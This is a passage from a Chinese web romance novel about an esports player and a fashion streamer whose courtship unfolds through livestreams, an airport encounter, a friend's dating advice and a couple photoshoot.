这时,他们几人刚结束训练赛没多久,被DG打了个3:0,烁安和薰薰更是被91骂了个狗血喷头。91的嗓子也喊劈了,这会儿喝着茶水,点头示意让飞渊拿去看。 飞渊伸手拿起那几张纸,是他们近两个月的直播数据。 “哇哦,我倒欠15个小时。” FRG在上赛季结束之后就换了直播平台,但是首发几人要么跑商务,要么就是休假,也没直播多久,紧接着夏季赛就开始了,直播时长越积越多。 飞渊签的时长短,一个月只用播30个小时,如果这个月播不完的时长将会补到下个月。 “加上这个月的是45个小时。”黄优挑眉,“你加油吧。” 飞渊瘫倒在椅子上,将要昏厥。 薰薰已经快速恢复了过来,反正也被91骂习惯了,他凑过来翻找他的直播记录,“我上个月播得多,吃饭和聊天我都播,应该没剩多少。” “OK,还能接受,40个小时。”薰薰放心了,在琢磨怎么水一下直播,但是现在都要开头直播才能算时长,游戏内容还不能少于80%,不好靠吃饭混日子了。 烁安还在一边继续复盘,他就签了20个小时,早就播完了。 “我c,这能播得完吗?”灼忧面部狰狞,他还有50个小时没播。 “唉,这就是少壮不努力,老大徒伤悲。”薰薰讥讽道。 灼忧斜视道:“语文不好就少在那叽叽喳喳。” “你好得很,好到我喊你过来集火对面射手,集合都按烂了,跟不识字耳聋一样,就不过来。”然后他就送了对面一个人头,死相难看,还被91罚了钱。 “那是你太菜,伤害量都计算不好,血掉那么快,我跟了也是白送。” “你那指挥迷得要死。” 两人将要叭叭一顿时,五七大叫一声,“我靠,老大得直播睡觉了吧。” “啥?”几人凑上来。 等看清纸上的剩余时长后,众人无情地嘲笑,“我去,70个小时哈哈哈哈哈哈。” “他咋回事啊,欠这么多。” “忙啊,一直在跑商务。” “诶,小薰,这会你可以献诗一首了。”灼忧叫嚷道。 “滚滚滚,我语文不好。” 黄优撩了一下刘海,看着这兴奋的几人说道:“早点把这欠下的帐给还了,要不然越拖越多,还有,你们顺便也催一下重明,他再不播,粉丝那边就要攻打基地了。” 这时候还是得让重明多直播几次,私生的事没有结果,粉圈对烁安和重明轮换上场还有些怨言,每天都在催俱乐部给个说法,这时候得靠他开播转移一下粉圈视线。 “知道了。”五七答应道。 飞渊还没有缓过来,扯了一下91的袖子,“教练,要不你替我直播吧,我这段时间都没有睡个好觉,而且这东西播多了伤身啊!” “滚一边去。”91甩开飞渊的手,“我上个月就替你们直播好几次了,你们这些粉丝太恐怖了,变着方法害我一个老人,节奏那么大,这会儿你还要给我上压力,自己想办法去。” 91的茶喝完了,起身去倒水,无视飞渊的怨念。 另一边,五七给俞述打了个电话,那边听到之后一阵沉默,说了句知道了,便把电话挂了。 众人以为俞述会拖好几天再开播,或者干脆不要这一个月的钱了。 没想到,当晚俞述就开播了。 短短十分钟,直播间就已经有一万左右的固定在线观众了。 “好久不见。”俞述边说边打开游戏。 他看着弹幕,挑了几句能回的,“欠的时长太多了,这会儿补一下。” “过几天回海市。” “手恢复得挺好的。” 说着,他把摄像头打开,低头开始禁选英雄。 因为角度的问题,俞述靠着电竞椅,摄像头照的是他的侧脸。 顶光照下,黑色的碎发耷拉在他饱满的眉骨上面,投下一片阴影,利落的线条顺延而下,落入鼻尖,下颌流畅,整个人看起来锋利又冷硬。 粉丝默默在心里说,请再多欠点吧。 俞述许久未直播,在线人数每分钟都在上涨,一路冲到了游戏榜前三。 许多黑子和串子也闻风而来,但没发几句挑衅的话就被房管禁了言,气氛倒也不错。 …… 祝愉还有半小时下播,却看见系统推送:您最喜欢的“FRG重明”已开播,快去围观吧~ 可能是新手机没来得及调直播设置的原因,这段系统推送居然有附带一个小喇叭,机械感的女声在祝愉的直播间将这段推送内容完整地念了三遍。 弹幕清一色的:【?】 久久,才有粉丝问道:【小竹居然也看kpl吗?】 【小竹原来喜欢重明啊……】 【重明是谁?】 直播间也有许多不关注KPL的人。 【就是某电竞选手,长得超帅】 【人之常情,人之常情,谁能不爱重明呢?】 祝愉的直播间瞬间少了几千人,跑去搜索重明是谁? 几分钟后,粉丝纷纷回到直播间感叹:【果然帅啊,我感觉我都要爱上了】 【原来小竹喜欢弟弟这款的啊】 祝愉有些心虚地咬了咬唇,心里想着怎么转移一下话题。 俞述也结束了一把巅峰赛,抬头却看见直播间飘过几句“小鸟被漂亮姐姐看上了”的弹幕。 弹幕滚动得很快,几乎都是在讨论他喜欢哪种类型的女生,闪过的几个名字俞述也看不清,粉丝反而还因此吵了起来。 他拧着眉头,“别乱说,跟我有什么关系。” 正好有个看热闹不嫌事大的路人连着发了好几遍其他直播平台的链接,虽然被房管警告加禁言了,但俞述移动鼠标,鬼使神差地点开了那个链接。 下一秒,画面展开,一张未施粉黛的脸占据整个电脑屏幕,忽闪的圆眼中带着些许困顿。 “对哦,其实买这个内搭就好了,外套我感觉不是很好搭。”语调平软,带着认真。 俞述直播间的粉丝看不到画面,只能听见一点点属于女生的声音。 【我靠,背着我们看小姐姐!】 【我们也要看】 【谁啊谁啊】 因为是晚上,祝愉没有化妆,将头发散开,在暖色的光晕下,整个人如水一般恬静。 她眼神柔和,轻声细语地跟粉丝聊天。 “我最近有什么特别喜欢的口号吗?”祝愉念完粉丝提问,想了想,有一支是经常用的,但她有点忘记是什么色号了,“稍等一下,我去找找。” 是772…… 俞述心里暗道,她上一周的朋友圈有发过。 “找到了,是D家的772,这支口号正好适合夏天涂。”祝愉从化妆包里找到后,向粉丝们展示,“我都快用完了,素颜涂也特别好看。” …… 直播快要结束,有一个会员粉丝发了一条炫彩弹幕,内容十分显眼。 【小竹小竹,你现在有喜欢的人吗?】 “喜欢的人吗?”祝愉一字一句地念道。 俞述点击 退出的动作一顿,神色是常有的淡漠,但同时,游戏的背景音消失了。 “嗯……喜欢的人……” “当然有啊。” “他是一个很可爱的人。” “他平时不怎么爱说话,大家都觉得他酷酷的,但他好容易害羞啊。” “嗯,他也是一个很好的人,有责任心,对人很有礼貌,也很沉稳,体贴细心……” 祝愉细数着俞述的优点。 “他也是个很厉害的人。” 虽然相识的时间不长,但她心中的俞述,无论是什么身份,都是一个可靠的人。选择了什么,就要做到最好,即便扛着巨大的压力,他也只会默默地承担下来,从没有过认输或者放弃的念头。 这些话她没有说出口,但祝愉觉得,每一个知道俞述的人都会这样认为,即便他们不知道自己说的是俞述。 温缓的声音落在俞述的心里,他沉默了许久,突而粲然一笑。 …… 隔天下午,祝愉安检后在登机口看到了俞述。 “你怎么又来这么早。” 俞述戴着墨镜,只露出淡色的唇瓣,他伸手将旁边座位上的背包拿了过来,“醒得早。” “哦。” 祝愉还是有点瞌睡,戴着一副黑框眼镜遮一下黑眼圈,她感觉脸也肿肿的,“你要喝咖啡嘛?我去买。” “喝。”俞述把腿收起,站起来,“我跟你一起去。” 咖啡店离这有段距离,祝愉有心事,偷偷瞥了眼俞述,却被逮了个正着。 “怎么了?” “没什么……” 她今早醒来,粉丝群有分享给她一个直播切片,是俞述的直播间里有人问他喜欢哪种类型的女生。 或许是她直播间系统播报的乌龙事件,祝愉看到有粉丝一直在底下问“喜不喜欢小竹”之类的话。 当时,她的心一紧,暗自期待俞述会怎么说,但紧接着的是冷冰冰的一句:别乱说,跟我有什么关系。 虽然语气声调都还是平常的那样,但她还是有种被拒之门外的窘迫与失落。 只播了几秒的视频戛然而止,内容被群管撤回了。 她按着关键词搜索了几遍也没能找到那段原视频,就被小香催着来了机场。 熟悉的纠结与不安席卷而来,祝愉看着离她一步远的背影,思绪回溯,像极了那次在热搜后在俱乐部将要分离的模样,那次她担心他们之间还会不会有下一次见面的机会。 她停了脚步,但想到这段时间的相处,她内心的动容其实大于那不明确的犹豫。 她猜想,俞述可能是有一点点喜欢她的。 与其就这样装傻不知道,她还是想知道俞述的真实想法。挣扎的心意缓缓松动,祝愉心想,要不就这样挑明吧。 “俞……” “俞述!” 字音消失在她的嘴边,不远处走来一个女生,朝着面前的男人招手。 女生走近后,歪头看向俞述,笑着说道:“你真的跟我同一趟航班呀,我还以为你不会改签呢。” 女生像是才看到祝愉,又对她打了声招呼,“小竹~” 祝愉无声地笑了笑。 “你们是约定好一起回海市吗?”女生是珊珊,她昨天正好来锦州出差。 但她仿佛又不是很想听祝愉的回答,眼睛倒是一直盯着俞述。 “我们……” “刚好偶遇。”祝愉打断,她不是很想喝咖啡了,“我还有事,先走了,你们聊。” 关于爱情,只需让她失落一瞬,她就会自己缩回去,变成胆小鬼。 心底的笃定消散,她突然怕得到的不是自己所期盼的回答。 24. 第24章 咖啡没有买,直到上了飞机,祝愉也没有主动跟俞述说话。 她坐在窗边,刺眼的光让她的眼睛开始酸痛,但她没有移开,好像这样就可以驱散她心里的苦涩。 她总是这样,思考太多,怕付出得不到回应,那样显得自作多情,有时候又犹豫得过深,错过了许多解释的机会。 喜欢他的话想了一遍又一遍,心里反复念叨,但就是说不出口。 这是怯懦吗? 或许是吧。 她第一次这样勇敢,也因为他,习惯着小心。 她真的太怕错过俞述了。 但现在,她做的是什么呢? 她回答不出来。 …… 看得太久,祝愉眼眶周围泛起红晕,眼角早已干涩难耐,她戴上眼罩,装作熟睡的模样,她想安静一会儿。 飞机起飞,暖光照了过来,渐渐地,睡意来袭,祝愉迷迷糊糊地说:“小香,我靠着你睡一会儿。” 说完便偏过头沉沉睡去。 飞机落地的广播声响起,祝愉缓了好一会儿,才起身收拾东西。 “小竹姐,我等会儿要先回家一趟,我爸妈来接我了。”小香取完行李,对祝愉说,“我端午没回家,他们这几天就请假来看看我。” “好,这几天也没有要忙的地方,你先回吧。”祝愉收回张望的视线,“我等等打车就回去了。” 小香觉得祝愉是在找俞述,“下了飞机之后我就没见到他了。” 祝愉低头回江笛的消息,模棱两可道:“嗯,你先走吧。” “那……我先走啦?” “嗯。” “欧克!我后天准时到岗!” 祝愉笑了笑,但没持续几秒,嘴角又垮了下去。 她拖着行李,打算先去坐地铁。 心里郁闷,梗得她不舒服,她转身走进机场便利店,买了瓶水喝。 拧瓶盖的时候,祝愉心不在焉,手里也冒着汗,半天都没能拧开。她深深叹了一口气,回头准备去买盒果汁。 “不好意思,我们果汁卖完了。”店员歉意地笑了笑,转身去忙着摆货。 心更堵了。 祝愉深呼吸,隔着衣服使劲拧开盖子,然后水也撒了一身。 她呆望着被捏变形的瓶身,想着以后再也不买这种矿泉水了。 太软了,使不上劲。 就跟她现在一样,浑身没劲。 祝愉从包里翻找纸巾,找了好久才想起来剩下的半包纸在小香那里。 “给。” 一只手伸过来,手心摊开,上面放着一包卡通印花纸,是她常用的。 祝愉不用抬头看都知道这只手的主人是谁。 她干巴巴地接过纸,撕开后把身上的水渍擦了擦。 手没有移开,祝愉迟疑地把剩下的纸还给他,耳边传来轻笑。 “把擦了的纸给我,我去扔。” 祝愉看着他的背影有一种想逃跑的冲动。 “走吧。”俞述扔完垃圾回来,顺手接过祝愉的行李箱。 “我自己拿。” 说着自己拿,但祝愉僵在原地也没有任何动作。 其实她说完就后悔了,但她又不知道要怎么做才能缓和一下气氛,也舍不得独自离开。 机场来往的人很多,男女老少不时投去视线,频频侧目,想要知道这两人发生了什么事。 俞述低头,能看到祝愉的眉眼,她的睫毛颤动,像随风摇摆的柳叶,摇摇欲坠,似是不安。 他走近,稍稍俯身,沉静的目光落入祝愉的眼底。 祝愉偏头,躲开那双眼睛,盯着大理石地板的花纹发愣。 “你不开心。” 祝愉下意识地想否认。 “我下飞机后去接电话了,是我……我叔叔打来的,所以没有跟你一块走。” 祝愉有些动容,她在琢磨自己要不要说点什么。 “周珊前几天问我什么时候回海市,我没回,刚刚才看到她有给我发过航班信息。” “哦……”她倒也不是在意这个。 “我没有立马来找你。”这会儿多了份试探。 祝愉摇了摇头,“其实我不是因为这些。” 手指抠着包上的金属链条,啪嗒响动,她不是因为吃醋。 俞述耐心地等着她开口。 “你……有喜欢的人吗?”祝愉下定决心问道。 “有。” 没有犹豫,没有飘忽,没有敷衍。 他的回应斩钉截铁。 但祝愉却自己终止了话题,“先走吧,很晚了。” 雨后的雾霾从锦州飘到了海市,将二人笼罩,情绪变得扑朔迷离,最怕是自己的臆想。 坠入爱河的人啊,最是多思多绪。 …… 从那天过后,祝愉突然忙了起来,Lumina那边的后期宣传反响不错,她连着几天都在配合品牌方做快闪店的活动。 七月未过,祝愉连着十月的商务活动都已经满了。每天睁开眼就去做妆造,然后进摄影棚拍摄,晚上才能回去,累得一根手指都抬不起来。 这天,江笛终于找到时机见了祝愉一面。 “哇,现在真的是想见你都得提前预约。”江笛啧啧作叹。 “少来。”祝愉闭着眼睛,化妆师在给她卷头发,“我已经好多天没有睡个好觉了。” 眼下的疲惫要拿三种颜色的遮瑕才能盖住,她现在趁着各种间隙闭目养神,能睡两分钟都是奢侈。 “你跟他怎么样了?” 话语不明确,但意有所指,足够听的人明白。 祝愉睁开眼,轻叹了一声,“就那样吧。” “什么就那样了?你不追了啊?”江笛划拉着椅子飘到了祝愉旁边。 “不是。”她才不会放弃呢,就是有些……惆怅。 她把这几天发生的事给江笛说了一遍,心中的顾虑也全数吐尽。 江笛口中长叹,有一种熟悉感,上一次是在高中。 她靠在椅背上说:“我给你想想。” “现在就是说,你觉得他是对你有意思的,但是呢,你又不确定他的这种喜欢到了哪种程度。” “然后,你怕问了之后,显得太着急,毕竟你们才认识两个月左右,万一他的答复不是你想的那样,你俩可能连亲近的机会都没了,以后变成陌生人了怎么办。” “你是这样想的吧?”江笛总结完毕。 “是啊。” 祝愉松了肩膀,眼皮耷拉下来,有些没精神。 回到海市的这几天,聊天框的消息删删减减,反复编辑,都不知道要再怎么提起那个并不明媚的话题,索性放到一边,接了一堆工作麻痹自己。 那天回家后,她去看了俞述的直播回放,才知道弹幕是有延迟的,俞述当时并不是在回应她所看到的那几句话。 进度条拉到后面,有十几分钟的时间,俞述没有继续打游戏,而是紧盯着屏幕看着什么,她把声音放到最大,即便内容模糊细碎,但她听出来那是自己的声音。 是快要结束直播的时候,她回答那个粉丝的问题。 她有没有喜欢的人。 而俞述的反应也不是靠她自作多情就能解释的,她确信她对俞述来说,是不一样的存在。 可她却什么都不知 道,在得到俞述肯定的回答后先一步回避了。 江笛看在眼里,她也跟着叹了口气,俞述他是不知道,但是祝愉是把感情看得很重,谁对她好,她就会毫不保留地对别人好。 包括爱情,她认为爱是一件庄重的事,不能草率,像小孩子打闹那样简单,随便就确定胜负输赢。但也不能将就,看着差不多就立马投入一切,像个赌徒一样疯狂。 她不喜欢被感性所控制,做出冲动的事,更不想含糊不清地开始和结束,这样对两人都不公平。 “其实……我觉得你们现在这种情况是因为接触的少了,你们并不是真正的了解对方,包括家庭、性格、追求,很多你们都不清楚。”江笛组织着语言,“你仔细想一想,你跟他单独接触过几次。” 祝愉坐直,思索着,“单独吗?” “第一次见面算吗?” “这种说了没两句话的不算,只能算深度交流的那种。” 祝愉安静了几秒,脑海中划过无数画面,但符合江笛标准的寥寥无几。 “不会没有吧?” “有……就是不多。”祝愉硬着头皮回道。 “有次我拍摄,送了他一个吊坠,然后他送我回家。” “嗯嗯,继续。” “还有一起吃饭……后半程算是单独相处吧。” “然后就是去了锦州的这几天。” 派出所、送衣服、去他家……屈指可数。 “没了?” “嗯,没了。”祝愉好像有点明白是为什么了。 江笛心中的怜悯褪去,哀其不争,痛诉道:“你看看你俩,一双手十根指头,我一只手就能把你俩这点经历给包含了,就五次我的妈啊,五次啊!你俩是小学生搞暧昧吗?” “不对不对,就这么几次相处,都还不能称之为约会,你俩能产生感情,我真算你俩天作之合,情有独钟,天生一对!” “你谈过恋爱吗?” “没有……”祝愉小心翼翼地看了眼怒火中烧的江笛。 “哦对。”江笛扶着额头,她快被这两人无语死了,倒是忘了这茬。 “那没吃过猪肉总看过猪跑吧,恋爱剧看过没?看过没?你既然已经是主动的那一方了,你就给我主动到底,怕那么多干什么,追一半不追了,什么都没得到才算是小丑。” “被拒绝了就拒绝了,感情上是没有一帆风顺的道理。” “你看你工作上也不是说水到渠成是吧,那困难多了去了,你也没说过放弃,怎么碰到喜欢的人就开始退缩了呢?” “就因为那个垃圾学长?你难道要一辈子卡在这个表白的点不进行下去吗?” 祝愉虚心听教,觉得江笛说得有道理。 江笛缓了缓,她有些口干舌燥,想了想又补充道:“但你也不能一直主动,你知道怎么钓人不?” 祝愉琢磨了一下,她没有对俞述这样过,之前的那些主动可能在江笛眼里都是小打小闹,她也不好意思说出口。 “我感觉我可以学。” “行,那你就学,有的时候到氛围了,你要想办法让他主动,欲拒还迎懂不懂?” 江笛苦口婆心,说着就翘起了二郎腿,“虽然按他那种性格可能够呛,一直挂个脸啥表情都没有,但你不要因为他那冷脸你就不敢了,知道不?” “好……”但祝愉还是解释了句,“他没有一直冷着脸。” “……” 祝愉噤了声,在江笛的注视下,安安静静地做完妆造后就去拍摄了。 一整天,她心里若有所思。 要主动。 要欲拒还迎。 要暧昧。 25. 第25章 祝愉最近在海市的综合摄影楼里拍摄,这边搭建的场景比较多,什么风格都能拍,而且离郊区的文化园近,如果要出外景也很方便。 她的化妆师还要一会儿才能到,便到处逛了逛,没想到在这儿碰到了熟人。 祝愉先看到的是阿良,他抱着几瓶水从门外走来。 阿良也有一段时间没有见到祝愉,见到她还有些意外,寒暄几句后,心思一动,拉着她要去俞述的休息室。 …… 白炽灯照在俞述的脸上,投下起起落落的侧影,化妆师感叹道:“还以为你们电竞选手一直熬夜,皮肤状态会不好呢。” 领队许枫在旁边听着一乐,想到队里的那几个小孩,立即拆穿,“他这是少数的,大部分脸上都长痘,黑眼圈垮在地上拾都拾不起来。” 化妆师噗嗤一笑,“其实还是帅的原因。” 俞述的黑眼圈也重,但素颜来看是颓废感,跟网瘾少年的形象也不沾边。 俞述跟以往一样,在外面寡言少语,没有搭腔。 许枫刚结束休假,他去泰国跟老婆度蜜月,对这段时间内俱乐部发生的事也不是很了解。 他瞅了眼一直盯着手机屏幕的俞述,又伸长脖子眯着眼看了一圈手机,把上面的字念了出来,“到家了,嗯。” “你这是?”许枫挤着眼睛艰难地思索,最后不确定道,“在追人?” 俞述偏头看向他。 “我去……你是真牛b,我第一次见这种追人方式的,” “你就嘴上说说啊,一点实际行动都没有?”许枫疑惑地看了眼俞述,联盟也不至于亏待这棵摇钱树吧,“俱乐部最近没发工资吗?” 不至于入不敷出吧。 “有。” 许枫也是有多年照顾青春期少年的经验,从这短短的一个字当中听出了俞述的意思。 他有过行动。 但这…… “那说明你不够明显。”许枫拍了拍俞述的肩膀,语重心长道,“孩子,不是我说你,都这时候了,就别搞那冷酷男人设了,该上就得上啊,女孩子脸皮薄,你不主动点,怎么跟人家在一起。” 许枫毕竟跟老婆走过十几年岁月,笑过闹过哭过,牵牵扯扯,藕断丝连,在四十岁的时候终于结了婚,见过的恋爱戏码比俞述打过的比赛还要多,最清楚现在年轻人心里的那点弯弯绕绕。 两人估计还在暧昧阶段,就是都不咋主动。 许枫继续当恋爱导师,“她有没有对你耍过小性子?” 说完觉得不是很确切,他嘶了一声改口,“也不能叫耍脾气。” “就是有的时候他们女生会有些自己不好意思说的话,但是希望你能懂,扭扭捏捏得就有点心口不一,如果有这种情况出现,那么她绝对喜欢你,相信哥,这说明她超级在意你的态度,懂不?” “比如让你走,你不能真的就一走了之,这时候你应该静下心来跟人小女孩好好聊一聊,她有可能是气上头了或者是哪不舒服了才会这样口是心非,你要真走了那才是完蛋啊我跟你说。” “最重要的是你得服软!不能跟着倔!” 可能是说到了自己的心坎,许枫开始滔滔不绝,“我以前哄我老婆的时候那叫一个苦,啥我都经历过来了&*#@……” 此处省略一万字…… “所以有没有过,你就说。”许枫分享完自己老掉牙的恋爱经历,回归正题。 化妆师听着一直在憋笑,俞述却认真想了会儿。 看这反应,许枫也是有些惊讶,“我去,还真有,那这女孩是谁啊?” 没等到回答,休息室的门被推开,阿良抵着门扇,侧身让后面的人先进来。 化妆师抬头看去,是这几天在E区一直见到的女生,她偶尔会过去帮忙,两人还算眼熟。 女生进门之后便盯着镜子前面的人,眼睛都没眨一下。 化妆师瞬间了然,估计是来找这个男孩的。 俞述没有回头看,而是低头闭上眼睛,又回到了那副冷淡的模样,好像对身边的一切都不感兴趣。 “这是?”许枫看着门口站着的长发女生问道。 阿良没吭声,嘟着嘴往俞述那个方向蠕动。 刚过四十岁的成熟已婚男人瞬间理解了阿良的意思,但理解了一半。 他凑到阿良跟前,贴着耳朵小声说:“俞述有喜欢的人了,你还当啥媒人。” 阿良莫名其妙地看了眼许枫,低语,“你有病啊,我敢吗?” 就俞述那叼毛脾气,他敢介绍,俞述就敢踹他,他还要留在俱乐部踏实干活,努力赚钱买房呢,不想这么快走人。 两人小声交流着,祝愉进来后也跟着放轻步子,走到座椅旁边,看化妆师给俞述做发型。 她觉得俞述哪样都很帅,最喜欢他顺毛的样子,软软的,毛茸茸的,看起来很好摸。 “哎呦。” 化妆师手里的发夹掉到了地上,但刚分层好的头发已经被她捏在手里,她犯了一下懒,侧目看向祝愉,“小美女,能帮我捡一下吗?” 祝愉点了点头,拾起来后想要递给化妆师。 “要不你帮我别一下吧。”她两只手都没空。 祝愉迟疑了一下,便伸手准备帮忙。 俞述听到点动静,没抬眼,却下意识地偏头,面色冷沉,整个人看起来刻薄了几分。 他不是很喜欢陌生人碰他。 “你搞什么啊?”阿良给休息室的其他人分完水,抬头就看见这一幕,以为怎么了,开口道,“愉姐来看你,你拉个脸干什么?” 坐着的背影发僵,俞述缓缓抬头,在镜中对上的是祝愉尴尬的笑容。 ”我刚好在这边有拍摄……知道你也在,就来看一下你。” 祝愉想起前几天的事,心里也有点莫名的慌张,讷讷地想收回手,却被俞述拉住。 他只虚握住了她的食指,头抬得更高,心绪闪动,“我不知道是你。” 嗓音发闷,声调放软。 许枫张大嘴巴,一脸不可置信,这是俞述吗?被夺舍了? 再后来的反应就是:这么快就学到了他的真传? 饶是常陪在俞述身边的阿良也难以见到这副面孔的俞述,他嘴角抽搐,这孩子都被调成啥了。 握着她的手温暖干燥,指腹处传来颤意,祝愉紧绷的心弦也得以平复。 “头别再抬了,镜子里就能看见。”化妆师无奈道,“头发快要散了。” 祝愉不好意思地收回手,快速帮化妆师别好发卡,退后一步。 俞述额前的碎发被梳到脑后,露出低垂的眼眸,带着几分局促,与镜中的人错开视线。 祝愉正好收到小香的消息,便跟几人告别赶去拍摄。 …… 还有一个月才到七夕,各大品牌就已经提前预热,准备抢占先机,狠狠拿捏情侣市场。 祝愉今天要拍一段服装上新视频,还要配合杂志社拍一组情侣套图,宣传C家新出的各类产品。 其实按照她的名气来说,是接不到这种商务的,但正好摄影师跟她认识了很久,便向杂志社那边推荐了她。 总编看她形象气质都挺好,符合这次拍摄内容,频道内的人气也不差,就正式给祝愉发了邀请函过来拍一小段。 跟她搭档的模特她不是特别熟,听摄影师说才做这一行没多久,而且也是大学生兼职,没拍过多少静态影片,可能有些僵硬,需要她带一带。 第一段单人视频拍得很顺利,但是第二段的合作拍摄简直是一塌糊涂。 这个男生太硬了。 字面意思,身板很硬。 “好了,补一下妆。”摄影喊道。 小香拿着水杯站在一旁,感觉又得重拍,问旁边的摄影助理,“他真的要在模特这个行业深耕吗?” “我们觉得他就是来玩玩的,随便体验一下模特生活。”摄影助理环顾了一下,凑到小香耳边说,“你看到那个沙发旁边坐着的女人了没。” 小香平直看向前面,用余光找了一圈,“看见了。” 心里惊涛骇浪,这难道就是传说中的金主!!! “那是他妈妈。” “哦。”还以为能听到什么八卦呢。 “她是C家亚洲区独家总代理。” “偶买噶。”这比八卦劲爆。 祝愉过来补妆,顺便喝口水,这也是她第一次接顶奢的拍摄,难免会有些紧张,但重拍两三次之后也差不多摸到了感觉。 小香凑到她跟前,“小竹姐,跟你说个事儿。” “怎么啦,又有八卦啦。” “是啊。”小香刻意压低声音,“跟你搭档的那个男生的是C家总代理臣总的儿子。” “啊?”祝愉看了眼那个男生。 “这样的话就是你甲方的甲方的儿子。”小香琢磨了一下,“我说这么大的个牌子怎么会找一个学生兼职过来拍呢。” 祝愉听此刚要说什么,就被摄影叫过去继续拍摄。 半个小时后,祝愉的脚掌一片麻,她今天穿着十厘米高跟,好看,但没有防水台,脚尖挤在一块传来阵阵刺痛,酸胀感顺着脚后跟一路窜到小腿,她觉得再站下去自己的腿就要没知觉了。 趁着拍摄间隙,她扶着旁边的桌子扭了一下脚踝,男生见此,不好意思地说:“真是太对不起了,我对这些不是很熟,什么都不到位,还要害得你一直重拍。” “没关系。”祝愉苦笑着摆了摆手。 摄影师更累,过去一个多小时,一张合适的都没拍出来,他看了眼旁边的短发女人,咬咬牙,或许是场景的问题? 他指挥着几人将现场重新布置了一下,灯光变得昏暗,几处背景挂上蕾丝,将暧昧的氛围拉到极点。 人物表情和动作不到位,他就不信环境弥补不了。 事实证明,弥补不了,都快成扣分点了。 他不由自主地带了点火气,“小凛,你不要紧张啊,你一紧张那表情都变味了,虽然说主角不是你,但是你侧脸都拧成麻花了,也很影响成片的效果啊。” “小竹一靠近你就后退,你俩人设是情侣,不是仇人啊……” 声音越来越小,条纹样式的西裤走进他的视线。 “你过来。”短发女人站定,朝那男孩招了招手,随后歉意地对在场的人说道:“真是不好意思,耽误大家时间了,事后会给大家补偿,这会儿先休息半小时再继续吧。” 语调沉稳有力,让人有一种信服感。 说完,她握着男生的胳膊向一旁走去,使得劲还挺大,那露出来的小半截胳膊都被捏红了。 祝愉把鞋脱掉,踩在垂下的幕布上,她起身想扶着场助缓一会儿,却发现身边早已换了人,也不是小香,是才结束拍摄的俞述。 他梳着背头,露出立体深邃的五官,手臂处搭着黑色西装外套,同色系的衬衫贴合身形,随着他俯身的动作,胸口的衣料绷紧,勾勒出一片好形状。 俞述蹙眉问,“还能走吗?” “嗯……”祝愉回想起江笛的话,在犹豫要怎么开口才不会显得太刻意。 俞述俯身,手指勾起祝愉的高跟鞋,话语直白,“公主抱可以吗?” 26. 第26章 棚内的灯光还未打开,没有人注意到这边。 祝愉点点头。 俞述俯身,手指勾起祝愉的高跟鞋,低眉看向一旁,声音发紧,“手搂住我。” 祝愉缓缓踮起脚,细白的胳膊上缠绕着肉粉色丝带,末梢拂过俞述的下巴,带去一阵痒意。 她环住他的脖颈,一只手搭在他的肩膀上,身下骤然一空,俞述将她横抱起来。 许是没有抱稳,他手臂收紧,向上轻颠了一下,脸颊蓦然多出一片温热。 细密的电流在祝愉的唇间跳动,她能清晰地看见俞述那剧烈颤抖的瞳孔。 呼吸发怔,她已经分不清此时轰鸣如雷的心跳声来自于谁。 昏暗的环境中,两人僵直了数秒才微微分离,似有不舍。 唇上的酥麻还未散去,一道亮光乍现,又灭。 “这张好,可惜了。”摄影师看着这张符合他心中极具拉扯感的照片叹息,举了一下手中的相机,“待会传给你们啊。” 俞述侧了一下脸,他第一次觉得自己的呼吸声这么明显。 他抱着祝愉走到沙发处,低着身子将人放下,随后规矩地坐在她旁边,把鞋摆放好。 祝愉捏着自己的手腕,平复了半息,侧眼看了一下俞述。 “你的脸上。”祝愉指了一下。 俞述看过来,不明所以。 “等一下。” 她把怀里的西装外套放在一边,伸长胳膊去拿放在扶手上面的包。 俞述的目光跟随。 祝愉今天穿的是一件露背裙,前面只露出锁骨,后面却低到蝴蝶骨之下,背上的凹陷顺着曲线向下,隐入堆叠的裙摆。 一瞬之间,俞述收回视线,有意避开,低头不知在想些什么。 他发现祝愉很喜欢果香味的香水。 他抬起手腕,轻轻嗅了一下,这次是苹果的香气。 “你……” 声音在耳畔响起,他僵了一秒,放下胳膊。 “脸凑过来一点。” 俞述倾身,香气更浓。 他突然有一阵恍惚,想起一年前,有一个娱乐采访问他,平常会不会用香水。 那时跟他已经当了半年队友的飞渊说,他很讨厌香水的味道,一点点都闻不了。 他没有反驳,他是认同的。 但现在,那个记者假若再问他一次,他可能会改变自己的想法,因为他清楚的记得祝愉身上的所有味道。 他很喜欢。 “好了。” 白色的纸巾上多了一抹红,是刚刚沾在俞述脸上的唇彩。 …… 小香刚好上完厕所回来,看着还没有离开的俞述,几步上前,“真的是太谢谢你照顾小竹姐。” 她刚刚在那站了一会儿,感觉是最近吃冰的吃得太多,肠胃变脆弱了,一直肚子疼,正好看到俞述来了,就拜托他拿一下祝愉的水杯,如果有什么事过去帮一下,她很快就会回来,说完就冲向厕所了。 “没事。”他回神道。 “小竹姐,你们还没拍完啊?”小香看了眼还在忙活的摄影师,她觉得自己也去了很久,按理说这个场地拍三四张就要换了。 祝愉摇了摇头,这个场景快一个小时了都还没拍完,后面还有两个,估计要到晚上了。 “我的天啊。”小香也不知道说什么了,碍于那位大BOSS的身份,她也没敢张扬地吐槽。 半个小时休息的时间快到了,摄影师那边还没叫着开始,而是跟那位总代理聊了好久,又几分钟后,他小跑到祝愉这边说:“小凛拍出来的效果不是很好,臣总那边说要换人。” “换我吗?”祝愉心里一惊。 “怎么可能换你,你是影片的主角,换你干啥。” 摄影师回想着刚刚的谈话,有些难为情地说:“呃……现在要等其他模特来也会耽误大家的时间,所以我跟臣总商量了一下,要不,让你男朋友来跟你搭一下呗,反正是情侣主题,这样拍得还更轻松,没负担,总不会那么僵硬,你说是不是。” …… 半小时后,拍摄重新开始,现场忙碌一片。 许枫还在跟王好好打电话,知道是跟祝愉拍,那边也没反对。 之后臣音又主动向阿良要了电话后打给王好好,说会根据俞述的商务报价结算这次拍摄的总费用,王好好乐呵地说没问题,跟俱乐部赞助又不重复,还是顶奢的宣传,他们赚了。 俞述重新做了造型,换了白衬衫,领口一直开到胸前,脖颈处系着领结,松垮落至锁骨,一副纵情的模样。 “对,小竹把手伸进去。慢慢地,对。”摄影师盯着画面指挥着,“脸凑近,想要吻上去却不敢吻,对,对,就是这种感觉。” 换了人之后,连动作指导都变得大胆。 掌心处是起伏的颤意,耳边是紊乱的呼吸声,祝愉像是坐在迷失于海面上的木船,突造风浪,船翻了,她坠入深海,心脏发懵,喉间紧涩,浑身湿漉难耐。 他们鼻尖相对,摩擦轻蹭着。 她盯着那浅色的粉,再近一点,那唇面将要贴上。 